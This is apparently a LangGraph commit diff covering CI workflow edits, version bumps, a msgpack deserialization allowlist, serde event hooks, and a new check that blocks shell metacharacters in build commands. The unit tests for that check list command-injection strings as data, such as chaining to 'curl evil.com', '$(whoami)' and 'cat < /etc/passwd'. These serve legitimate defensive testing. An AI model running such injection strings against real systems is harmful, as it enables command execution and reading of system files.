Apply suggestion from @sydney-runkle

Instead of loading the post-input checkpoint and bypassing versions_seen
in _triggers(), load the pre-input checkpoint so _first() re-applies
input naturally. Channel versions bump past versions_seen, so triggers
fire without any special-case bypass.

Co-Authored-By: Claude Opus 4.6 <noreply@anthropic.com>

.github/images/logo-dark.svg

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.github/images/logo-light.svg

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.github/workflows/_integration_test.yml

@@ -40,11 +40,12 @@ jobs:
       - uses: actions/checkout@v6
       - name: Get changed files
         id: changed-files
+        if: github.event_name != 'workflow_dispatch'
         uses: Ana06/get-changed-files@v2.3.0
         with:
           filter: "libs/cli/**"
       - name: Set up Python ${{ matrix.python-version }}
-        if: steps.changed-files.outputs.all
+        if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
         uses: astral-sh/setup-uv@v7
         with:
           python-version: ${{ matrix.python-version }}
@@ -52,15 +53,15 @@ jobs:
           cache-suffix: "cli-integration-test"
           ignore-nothing-to-cache: true
       - name: Install cli globally
-        if: steps.changed-files.outputs.all
+        if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
         run: pip install -e .
       - name: Build service ${{ matrix.example.name }}
-        if: steps.changed-files.outputs.all
+        if: (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch')
         working-directory: ${{ matrix.example.workdir }}
         run: |
           langgraph build -t ${{ matrix.example.tag }}
       - name: Test service ${{ matrix.example.name }}
-        if: ${{ steps.changed-files.outputs.all && env.HAS_LANGSMITH_API_KEY == 'true' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&env.HAS_LANGSMITH_API_KEY == 'true' }}
         working-directory: ${{ matrix.example.workdir }}
         env:
           LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -74,24 +75,24 @@ jobs:
           timeout 60 python "$REPO_ROOT/.github/scripts/run_langgraph_cli_test.py" -t ${{ matrix.example.tag }}
 
       - name: Build JS service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
         working-directory: libs/cli/js-examples
         run: |
           langgraph build -t langgraph-test-e
 
       - name: Build JS monorepo service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
         working-directory: libs/cli/js-monorepo-example
         run: |
           langgraph build -t langgraph-test-f -c apps/agent/langgraph.json --build-command "yarn run turbo build" --install-command "yarn install"
 
       - name: Build Python monorepo service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
         working-directory: libs/cli/python-monorepo-example
         run: |
           langgraph build -t langgraph-test-g -c apps/agent/langgraph.json
       - name: Test Python monorepo service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
         working-directory: libs/cli/python-monorepo-example
         env:
           LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -101,12 +102,12 @@ jobs:
           timeout 60 python ../../../.github/scripts/run_langgraph_cli_test.py -t langgraph-test-g -c apps/agent/langgraph.json
 
       - name: Build prerelease reqs service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
         working-directory: libs/cli/examples/graph_prerelease_reqs
         run: |
           langgraph build -t langgraph-test-h
       - name: Test prerelease reqs service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' && env.HAS_LANGSMITH_API_KEY == 'true' }}
         working-directory: libs/cli/examples/graph_prerelease_reqs
         env:
           LANGSMITH_API_KEY: ${{ secrets.LANGSMITH_API_KEY }}
@@ -132,7 +133,7 @@ jobs:
           fi
 
       - name: Build and test prerelease reqs fail service
-        if: ${{ steps.changed-files.outputs.all && matrix.example.name == 'A' }}
+        if: ${{ (steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch') &&matrix.example.name == 'A' }}
         working-directory: libs/cli/examples/graph_prerelease_reqs_fail
         run: |
           langgraph build -t langgraph-test-i || [ $? -eq 1 ]

.github/workflows/_lint.yml

@@ -34,11 +34,12 @@ jobs:
       - uses: actions/checkout@v6
       - name: Get changed files
         id: changed-files
+        if: github.event_name != 'workflow_dispatch'
         uses: Ana06/get-changed-files@v2.3.0
         with:
           filter: "${{ inputs.working-directory }}/**"
       - name: Set up Python ${{ matrix.python-version }}
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         uses: astral-sh/setup-uv@v7
         with:
           python-version: ${{ matrix.python-version }}
@@ -46,12 +47,12 @@ jobs:
           cache-suffix: lint-${{ inputs.working-directory }}
 
       - name: Install dependencies
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         working-directory: ${{ inputs.working-directory }}
         run: uv sync --frozen --group lint
 
       - name: Get .mypy_cache to speed up mypy
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         uses: actions/cache@v5
         env:
           SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -61,7 +62,7 @@ jobs:
           key: mypy-lint-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
 
       - name: Analysing package code with our lint
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         working-directory: ${{ inputs.working-directory }}
         run: |
           if make lint_package > /dev/null 2>&1; then
@@ -72,12 +73,12 @@ jobs:
           fi
 
       - name: Install test dependencies
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         working-directory: ${{ inputs.working-directory }}
         run: uv sync --group lint
 
       - name: Get .mypy_cache_test to speed up mypy
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         uses: actions/cache@v5
         env:
           SEGMENT_DOWNLOAD_TIMEOUT_MIN: "2"
@@ -87,7 +88,7 @@ jobs:
           key: mypy-test-${{ runner.os }}-${{ runner.arch }}-py${{ matrix.python-version }}-${{ inputs.working-directory }}-${{ hashFiles(format('{0}/uv.lock', inputs.working-directory)) }}
 
       - name: Analysing tests with our lint
-        if: steps.changed-files.outputs.all
+        if: steps.changed-files.outputs.all || github.event_name == 'workflow_dispatch'
         working-directory: ${{ inputs.working-directory }}
         run: |
           if make lint_tests > /dev/null 2>&1; then

.github/workflows/_test_langgraph.yml

@@ -45,6 +45,13 @@ jobs:
         shell: bash
         run: make test_parallel
 
+      - name: Run strict msgpack pregel tests
+        if: ${{ matrix.python-version == '3.13' }}
+        shell: bash
+        env:
+          LANGGRAPH_STRICT_MSGPACK: "true"
+        run: make test TEST="tests/test_pregel.py tests/test_pregel_async.py"
+
       - name: Ensure the tests did not create any additional files
         shell: bash
         run: |

.github/workflows/ci.yml

@@ -2,10 +2,12 @@
 name: CI
 
 on:
+  workflow_dispatch:
   push:
     branches:
       - main
   pull_request:
+  
 
 permissions:
   contents: read
@@ -24,11 +26,12 @@ jobs:
   changes:
     runs-on: ubuntu-latest
     outputs:
-      python: ${{ steps.filter.outputs.python }}
-      deps: ${{ steps.filter.outputs.deps }}
+      python: ${{ steps.filter.outputs.python || 'true' }}
+      deps: ${{ steps.filter.outputs.deps || 'true' }}
     steps:
       - uses: actions/checkout@v6
       - uses: dorny/paths-filter@v3
+        if: github.event_name != 'workflow_dispatch'
         id: filter
         with:
           filters: |

README.md

@@ -1,7 +1,7 @@
 <picture class="github-only">
-  <source media="(prefers-color-scheme: light)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg">
-  <source media="(prefers-color-scheme: dark)" srcset="https://langchain-ai.github.io/langgraph/static/wordmark_light.svg">
-  <img alt="LangGraph Logo" src="https://langchain-ai.github.io/langgraph/static/wordmark_dark.svg" width="80%">
+  <source media="(prefers-color-scheme: light)" srcset=".github/images/logo-light.svg">
+  <source media="(prefers-color-scheme: dark)" srcset=".github/images/logo-dark.svg">
+  <img alt="LangGraph Logo" src=".github/images/logo-dark.svg" width="50%">
 </picture>
 
 <div>
@@ -56,6 +56,9 @@ Get started with the [LangGraph Quickstart](https://docs.langchain.com/oss/pytho
 
 To quickly build agents with LangChain's `create_agent` (built on LangGraph), see the [LangChain Agents documentation](https://docs.langchain.com/oss/python/langchain/agents).
 
+> [!TIP]
+> For developing, debugging, and deploying AI agents and LLM applications, see [LangSmith](https://docs.langchain.com/langsmith/home).
+
 ## Core benefits
 
 LangGraph provides low-level supporting infrastructure for *any* long-running, stateful workflow or agent. LangGraph does not abstract prompts or architecture, and provides the following central benefits:

libs/checkpoint-postgres/uv.lock

@@ -259,7 +259,7 @@ wheels = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "../checkpoint" }
 dependencies = [
     { name = "langchain-core" },

libs/checkpoint-sqlite/uv.lock

@@ -268,7 +268,7 @@ wheels = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "../checkpoint" }
 dependencies = [
     { name = "langchain-core" },

libs/checkpoint/langgraph/checkpoint/serde/_msgpack.py

@@ -46,6 +46,24 @@ SAFE_MSGPACK_TYPES: frozenset[tuple[str, ...]] = frozenset(
         ("zoneinfo", "ZoneInfo"),
         # regex
         ("re", "compile"),
+        # langchain-core messages (safe container types used by graph state)
+        ("langchain_core.messages.base", "BaseMessage"),
+        ("langchain_core.messages.base", "BaseMessageChunk"),
+        ("langchain_core.messages.human", "HumanMessage"),
+        ("langchain_core.messages.human", "HumanMessageChunk"),
+        ("langchain_core.messages.ai", "AIMessage"),
+        ("langchain_core.messages.ai", "AIMessageChunk"),
+        ("langchain_core.messages.system", "SystemMessage"),
+        ("langchain_core.messages.system", "SystemMessageChunk"),
+        ("langchain_core.messages.chat", "ChatMessage"),
+        ("langchain_core.messages.chat", "ChatMessageChunk"),
+        ("langchain_core.messages.tool", "ToolMessage"),
+        ("langchain_core.messages.tool", "ToolMessageChunk"),
+        ("langchain_core.messages.function", "FunctionMessage"),
+        ("langchain_core.messages.function", "FunctionMessageChunk"),
+        ("langchain_core.messages.modifier", "RemoveMessage"),
+        # langchain-core document model
+        ("langchain_core.documents.base", "Document"),
         # langgraph
         ("langgraph.types", "Send"),
         ("langgraph.types", "Interrupt"),

libs/checkpoint/langgraph/checkpoint/serde/event_hooks.py

@@ -0,0 +1,52 @@
+from __future__ import annotations
+
+import logging
+from collections.abc import Callable
+from threading import Lock
+from typing import TypedDict
+
+from typing_extensions import NotRequired
+
+logger = logging.getLogger(__name__)
+
+
+class SerdeEvent(TypedDict):
+    kind: str
+    module: str
+    name: str
+    method: NotRequired[str]
+
+
+SerdeEventListener = Callable[[SerdeEvent], None]
+
+_listeners: list[SerdeEventListener] = []
+_listeners_lock = Lock()
+
+
+def register_serde_event_listener(listener: SerdeEventListener) -> Callable[[], None]:
+    """Register a listener for serde allowlist events."""
+    with _listeners_lock:
+        _listeners.append(listener)
+
+    def unregister() -> None:
+        with _listeners_lock:
+            try:
+                _listeners.remove(listener)
+            except ValueError:
+                pass
+
+    return unregister
+
+
+def emit_serde_event(event: SerdeEvent) -> None:
+    """Emit a serde event to all listeners.
+
+    Listener failures are isolated and logged.
+    """
+    with _listeners_lock:
+        listeners = tuple(_listeners)
+    for listener in listeners:
+        try:
+            listener(event)
+        except Exception:
+            logger.warning("Serde listener failed", exc_info=True)

libs/checkpoint/langgraph/checkpoint/serde/jsonplus.py

@@ -32,6 +32,7 @@ from langchain_core.load.load import Reviver
 
 from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
 from langgraph.checkpoint.serde.base import SerializerProtocol
+from langgraph.checkpoint.serde.event_hooks import emit_serde_event
 from langgraph.checkpoint.serde.types import SendProtocol
 from langgraph.store.base import Item
 
@@ -519,6 +520,13 @@ def _create_msgpack_ext_hook(
 
         if allowed_modules is True:
             # default is to warn but allow unregistered types
+            emit_serde_event(
+                {
+                    "kind": "msgpack_unregistered_allowed",
+                    "module": module,
+                    "name": name,
+                }
+            )
             logger.warning(
                 "Deserializing unregistered type %s.%s from checkpoint. "
                 "This will be blocked in a future version. "
@@ -533,6 +541,13 @@ def _create_msgpack_ext_hook(
             if key in allowed_modules:
                 return True
         # strict mode blocks unregistered types
+        emit_serde_event(
+            {
+                "kind": "msgpack_blocked",
+                "module": module,
+                "name": name,
+            }
+        )
         logger.warning(
             "Blocked deserialization of %s.%s - not in allowed_msgpack_modules. "
             "Add to allowed_msgpack_modules to allow: [(%r, %r)]",
@@ -548,6 +563,14 @@ def _create_msgpack_ext_hook(
         key = (module, name, method)
         if key in _lg_msgpack.SAFE_MSGPACK_METHODS:
             return True
+        emit_serde_event(
+            {
+                "kind": "msgpack_method_blocked",
+                "module": module,
+                "name": name,
+                "method": method,
+            }
+        )
         logger.warning(
             "Blocked deserialization of method call %s.%s.%s - "
             "not in allowed methods set.",

libs/checkpoint/pyproject.toml

@@ -4,7 +4,7 @@ build-backend = "hatchling.build"
 
 [project]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 description = "Library with base interfaces for LangGraph checkpoint savers."
 authors = []
 requires-python = ">=3.10"

libs/checkpoint/tests/test_jsonplus.py

@@ -17,12 +17,18 @@ import numpy as np
 import ormsgpack
 import pandas as pd
 import pytest
+from langchain_core.documents.base import Document
+from langchain_core.messages import HumanMessage
 from pydantic import BaseModel, SecretStr
 from pydantic.v1 import BaseModel as BaseModelV1
 from pydantic.v1 import SecretStr as SecretStrV1
 
 from langgraph.checkpoint.serde import _msgpack as _lg_msgpack
 from langgraph.checkpoint.serde._msgpack import AllowedMsgpackModules
+from langgraph.checkpoint.serde.event_hooks import (
+    SerdeEvent,
+    register_serde_event_listener,
+)
 from langgraph.checkpoint.serde.jsonplus import (
     EXT_METHOD_SINGLE_ARG,
     InvalidModuleError,
@@ -668,6 +674,40 @@ def test_msgpack_allowlist_blocks_non_listed(
     assert result == expected
 
 
+def test_msgpack_blocked_emits_event() -> None:
+    events: list[SerdeEvent] = []
+    unregister = register_serde_event_listener(events.append)
+    try:
+        serde = JsonPlusSerializer(allowed_msgpack_modules=None)
+        obj = AnotherPydantic(foo="nope")
+        serde.loads_typed(serde.dumps_typed(obj))
+    finally:
+        unregister()
+
+    assert {
+        "kind": "msgpack_blocked",
+        "module": "tests.test_jsonplus",
+        "name": "AnotherPydantic",
+    } in events
+
+
+def test_msgpack_unregistered_allowed_emits_event() -> None:
+    events: list[SerdeEvent] = []
+    unregister = register_serde_event_listener(events.append)
+    try:
+        serde = JsonPlusSerializer(allowed_msgpack_modules=True)
+        obj = AnotherPydantic(foo="ok")
+        serde.loads_typed(serde.dumps_typed(obj))
+    finally:
+        unregister()
+
+    assert {
+        "kind": "msgpack_unregistered_allowed",
+        "module": "tests.test_jsonplus",
+        "name": "AnotherPydantic",
+    } in events
+
+
 def test_msgpack_strict_allows_safe_types(
     caplog: pytest.LogCaptureFixture,
 ) -> None:
@@ -684,6 +724,36 @@ def test_msgpack_strict_allows_safe_types(
     assert result == safe
 
 
+def test_msgpack_strict_allows_core_langchain_messages(
+    caplog: pytest.LogCaptureFixture,
+) -> None:
+    serde = JsonPlusSerializer(allowed_msgpack_modules=None)
+    msg = HumanMessage(content="hello")
+
+    caplog.clear()
+    result = serde.loads_typed(serde.dumps_typed(msg))
+
+    assert "blocked" not in caplog.text.lower()
+    assert "unregistered" not in caplog.text.lower()
+    assert isinstance(result, HumanMessage)
+    assert result == msg
+
+
+def test_msgpack_strict_allows_langchain_document(
+    caplog: pytest.LogCaptureFixture,
+) -> None:
+    serde = JsonPlusSerializer(allowed_msgpack_modules=None)
+    doc = Document(page_content="hello", metadata={"k": "v"})
+
+    caplog.clear()
+    result = serde.loads_typed(serde.dumps_typed(doc))
+
+    assert "blocked" not in caplog.text.lower()
+    assert "unregistered" not in caplog.text.lower()
+    assert isinstance(result, Document)
+    assert result == doc
+
+
 def test_msgpack_regex_safe_type(caplog: pytest.LogCaptureFixture) -> None:
     """re.compile patterns should deserialize without warnings as a safe type."""
 

libs/checkpoint/uv.lock

@@ -286,7 +286,7 @@ wheels = [
 
 [[package]]
 name = "langgraph-checkpoint"
-version = "4.0.1rc2"
+version = "4.0.1"
 source = { editable = "." }
 dependencies = [
     { name = "langchain-core" },

libs/cli/js-examples/yarn.lock

@@ -1555,10 +1555,10 @@ brace-expansion@^1.1.7:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
-brace-expansion@^2.0.1:
-  version "2.0.1"
-  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.1.tgz#1edc459e0f0c548486ecf9fc99f2221364b9a0ae"
-  integrity sha512-XnAIvQ8eM+kC6aULx6wuQiwVsnzsi9d3WxzV3FpWTGA19F621kwdbsAcFKXgKUHZWsy+mY6iL1sHTxWEFCytDA==
+brace-expansion@^2.0.2:
+  version "2.0.2"
+  resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
+  integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
   dependencies:
     balanced-match "^1.0.0"
 
@@ -3700,25 +3700,25 @@ mimic-fn@^2.1.0:
   integrity sha512-OqbOk5oEQeAZ8WXWydlu9HJjz9WVdEIvamMCcXmuqUYjTknH/sqsWvhQ3vgwKFRR1HpjvNBKQ37nbJgYzGqGcg==
 
 minimatch@^10.2.1:
-  version "10.2.2"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.2.tgz#361603ee323cfb83496fea2ae17cc44ea4e1f99f"
-  integrity sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==
+  version "10.2.4"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
+  integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
   dependencies:
     brace-expansion "^5.0.2"
 
 minimatch@^3.0.4, minimatch@^3.1.1, minimatch@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
-  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  version "3.1.5"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
+  integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
   dependencies:
     brace-expansion "^1.1.7"
 
 minimatch@^9.0.4, minimatch@^9.0.5:
-  version "9.0.5"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
-  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  version "9.0.9"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e"
+  integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==
   dependencies:
-    brace-expansion "^2.0.1"
+    brace-expansion "^2.0.2"
 
 minimist@^1.2.0, minimist@^1.2.5, minimist@^1.2.6:
   version "1.2.8"

libs/cli/js-monorepo-example/yarn.lock

@@ -434,7 +434,7 @@ brace-expansion@^1.1.7:
     balanced-match "^1.0.0"
     concat-map "0.0.1"
 
-brace-expansion@^2.0.1:
+brace-expansion@^2.0.2:
   version "2.0.2"
   resolved "https://registry.yarnpkg.com/brace-expansion/-/brace-expansion-2.0.2.tgz#54fc53237a613d854c7bd37463aad17df87214e7"
   integrity sha512-Jt0vHyM+jmUBqojB7E1NIYadt0vI0Qxjxd2TErW94wDz+E2LAm5vKMXXwg6ZZBTHPuUlDgQHKXvjGBdfcF1ZDQ==
@@ -1380,25 +1380,25 @@ math-intrinsics@^1.1.0:
   integrity sha512-/IXtbwEk5HTPyEwyKX6hGkYXxM9nbj64B+ilVJnC/R6B0pH5G4V3b0pVbL7DBj4tkhBAppbQUlf6F6Xl9LHu1g==
 
 minimatch@^10.2.1:
-  version "10.2.2"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.2.tgz#361603ee323cfb83496fea2ae17cc44ea4e1f99f"
-  integrity sha512-+G4CpNBxa5MprY+04MbgOw1v7So6n5JY166pFi9KfYwT78fxScCeSNQSNzp6dpPSW2rONOps6Ocam1wFhCgoVw==
+  version "10.2.4"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-10.2.4.tgz#465b3accbd0218b8281f5301e27cedc697f96fde"
+  integrity sha512-oRjTw/97aTBN0RHbYCdtF1MQfvusSIBQM0IZEgzl6426+8jSC0nF1a/GmnVLpfB9yyr6g6FTqWqiZVbxrtaCIg==
   dependencies:
     brace-expansion "^5.0.2"
 
 minimatch@^3.1.2:
-  version "3.1.2"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.2.tgz#19cd194bfd3e428f049a70817c038d89ab4be35b"
-  integrity sha512-J7p63hRiAjw1NDEww1W7i37+ByIrOWO5XQQAzZ3VOcL0PNybwpfmV/N05zFAzwQ9USyEcX6t3UO+K5aqBQOIHw==
+  version "3.1.5"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-3.1.5.tgz#580c88f8d5445f2bd6aa8f3cadefa0de79fbd69e"
+  integrity sha512-VgjWUsnnT6n+NUk6eZq77zeFdpW2LWDzP6zFGrCbHXiYNul5Dzqk2HHQ5uFH2DNW5Xbp8+jVzaeNt94ssEEl4w==
   dependencies:
     brace-expansion "^1.1.7"
 
 minimatch@^9.0.5:
-  version "9.0.5"
-  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.5.tgz#d74f9dd6b57d83d8e98cfb82133b03978bc929e5"
-  integrity sha512-G6T0ZX48xgozx7587koeX9Ys2NYy6Gmv//P89sEte9V9whIapMNF4idKxnW2QtCcLiTWlb/wfCabAtAFWhhBow==
+  version "9.0.9"
+  resolved "https://registry.yarnpkg.com/minimatch/-/minimatch-9.0.9.tgz#9b0cb9fcb78087f6fd7eababe2511c4d3d60574e"
+  integrity sha512-OBwBN9AL4dqmETlpS2zasx+vTeWclWzkblfZk7KTA5j3jeOONz/tRCnZomUyvNg83wL5Zv9Ss6HMJXAgL8R2Yg==
   dependencies:
-    brace-expansion "^2.0.1"
+    brace-expansion "^2.0.2"
 
 minimist@^1.2.0, minimist@^1.2.6:
   version "1.2.8"

libs/cli/langgraph_cli/__init__.py

@@ -1 +1 @@
-__version__ = "0.4.13"
+__version__ = "0.4.14"

libs/cli/langgraph_cli/cli.py

@@ -409,6 +409,18 @@ def build(
     install_command: str | None,
     build_command: str | None,
 ):
+    if install_command and langgraph_cli.config.has_disallowed_build_command_content(
+        install_command
+    ):
+        raise click.UsageError(
+            "install_command contains disallowed characters or patterns."
+        )
+    if build_command and langgraph_cli.config.has_disallowed_build_command_content(
+        build_command
+    ):
+        raise click.UsageError(
+            "build_command contains disallowed characters or patterns."
+        )
     with Runner() as runner, Progress(message="Pulling...") as set:
         if shutil.which("docker") is None:
             raise click.UsageError("Docker not installed") from None
@@ -765,6 +777,8 @@ def dev(
         allow_blocking=allow_blocking,
         tunnel=tunnel,
         server_level=server_log_level,
+        checkpointer=config_json.get("checkpointer"),
+        disable_persistence=config_json.get("disable_persistence", False),
     )
 
 

libs/cli/langgraph_cli/config.py

@@ -13,6 +13,36 @@ from langgraph_cli.schemas import Config, Distros
 MIN_NODE_VERSION = "20"
 DEFAULT_NODE_VERSION = "20"
 
+DISALLOWED_BUILD_COMMAND_CHARS = [
+    '"',
+    "`",
+    "\\",
+    "\n",
+    "\r",
+    "\0",
+    "\t",
+    "|",
+    ";",
+    "$",
+    ">",
+    "<",
+]
+
+# Regex pattern matching a single "&" that is NOT part of "&&".
+# This blocks background execution (cmd &) while allowing command
+# chaining (cmd1 && cmd2) which is common in build commands.
+_SINGLE_AMPERSAND_RE = re.compile(r"(?<!&)&(?:&&)*(?!&)")
+
+
+def has_disallowed_build_command_content(command: str) -> bool:
+    """Check if a command string contains disallowed characters or patterns."""
+    if any(char in command for char in DISALLOWED_BUILD_COMMAND_CHARS):
+        return True
+    if _SINGLE_AMPERSAND_RE.search(command):
+        return True
+    return False
+
+
 MIN_PYTHON_VERSION = "3.11"
 DEFAULT_PYTHON_VERSION = "3.11"
 

libs/cli/tests/unit_tests/test_config.py

@@ -14,6 +14,7 @@ from langgraph_cli.config import (
     config_to_compose,
     config_to_docker,
     docker_tag,
+    has_disallowed_build_command_content,
     validate_config,
     validate_config_file,
 )
@@ -1692,3 +1693,49 @@ def test_config_to_compose_with_api_version():
 
     # Check that the compose file includes the correct FROM line with api_version
     assert "FROM langchain/langgraphjs-api:0.2.74-node20" in actual_compose_str
+
+
+class TestHasDisallowedBuildCommandContent:
+    """Tests for has_disallowed_build_command_content."""
+
+    @pytest.mark.parametrize(
+        "char",
+        ['"', "`", "\\", "\n", "\r", "\0", "\t", "|", ";", "$", ">", "<"],
+    )
+    def test_disallowed_chars_rejected(self, char: str) -> None:
+        assert has_disallowed_build_command_content(f"npm install{char}some-package")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "pip install foo | curl attacker.com",
+            "npm install; curl evil.com",
+            "pip install $(whoami)",
+            "pip install ${IFS}evil",
+            "curl evil.com & disown",
+            "npm install & curl evil.com",
+            "pip install > /dev/null",
+            "cat < /etc/passwd",
+        ],
+    )
+    def test_injection_patterns_rejected(self, cmd: str) -> None:
+        assert has_disallowed_build_command_content(cmd)
+
+    def test_single_ampersand_rejected(self) -> None:
+        assert has_disallowed_build_command_content("npm install & curl evil.com")
+
+    def test_double_ampersand_allowed(self) -> None:
+        assert not has_disallowed_build_command_content("npm install && npm run build")
+
+    @pytest.mark.parametrize(
+        "cmd",
+        [
+            "npm install",
+            "pnpm install --frozen-lockfile",
+            "next build && next export",
+            "npm ci && npm run build",
+            "pip install -e '.[dev]'",
+        ],
+    )
+    def test_valid_commands_allowed(self, cmd: str) -> None:
+        assert not has_disallowed_build_command_content(cmd)

libs/langgraph/langgraph/_internal/_constants.py

@@ -41,6 +41,8 @@ CONFIG_KEY_CACHE = sys.intern("__pregel_cache")
 # holds a `BaseCache` made available to subgraphs
 CONFIG_KEY_RESUMING = sys.intern("__pregel_resuming")
 # holds a boolean indicating if subgraphs should resume from a previous checkpoint
+CONFIG_KEY_REPLAYING = sys.intern("__pregel_replaying")
+# signals to subgraphs that the parent is replaying from an earlier checkpoint
 CONFIG_KEY_TASK_ID = sys.intern("__pregel_task_id")
 # holds the task ID for the current task
 CONFIG_KEY_THREAD_ID = sys.intern("thread_id")
@@ -98,6 +100,7 @@ RESERVED = {
     CONFIG_KEY_STREAM,
     CONFIG_KEY_CHECKPOINT_MAP,
     CONFIG_KEY_RESUMING,
+    CONFIG_KEY_REPLAYING,
     CONFIG_KEY_TASK_ID,
     CONFIG_KEY_CHECKPOINT_MAP,
     CONFIG_KEY_CHECKPOINT_ID,

libs/langgraph/langgraph/pregel/_loop.py

@@ -42,6 +42,7 @@ from langgraph._internal._constants import (
     CONFIG_KEY_CHECKPOINT_ID,
     CONFIG_KEY_CHECKPOINT_MAP,
     CONFIG_KEY_CHECKPOINT_NS,
+    CONFIG_KEY_REPLAYING,
     CONFIG_KEY_RESUME_MAP,
     CONFIG_KEY_RESUMING,
     CONFIG_KEY_SCRATCHPAD,
@@ -152,7 +153,7 @@ class PregelLoop:
     input_keys: str | Sequence[str]
     output_keys: str | Sequence[str]
     stream_keys: str | Sequence[str]
-    skip_done_tasks: bool
+    is_replaying: bool
     is_nested: bool
     manager: None | AsyncParentRunManager | ParentRunManager
     interrupt_after: All | Sequence[str]
@@ -244,7 +245,9 @@ class PregelLoop:
         self.interrupt_before = interrupt_before
         self.manager = manager
         self.is_nested = CONFIG_KEY_TASK_ID in self.config.get(CONF, {})
-        self.skip_done_tasks = CONFIG_KEY_CHECKPOINT_ID not in config[CONF]
+        self.is_replaying = CONFIG_KEY_CHECKPOINT_ID in config[CONF] or config[
+            CONF
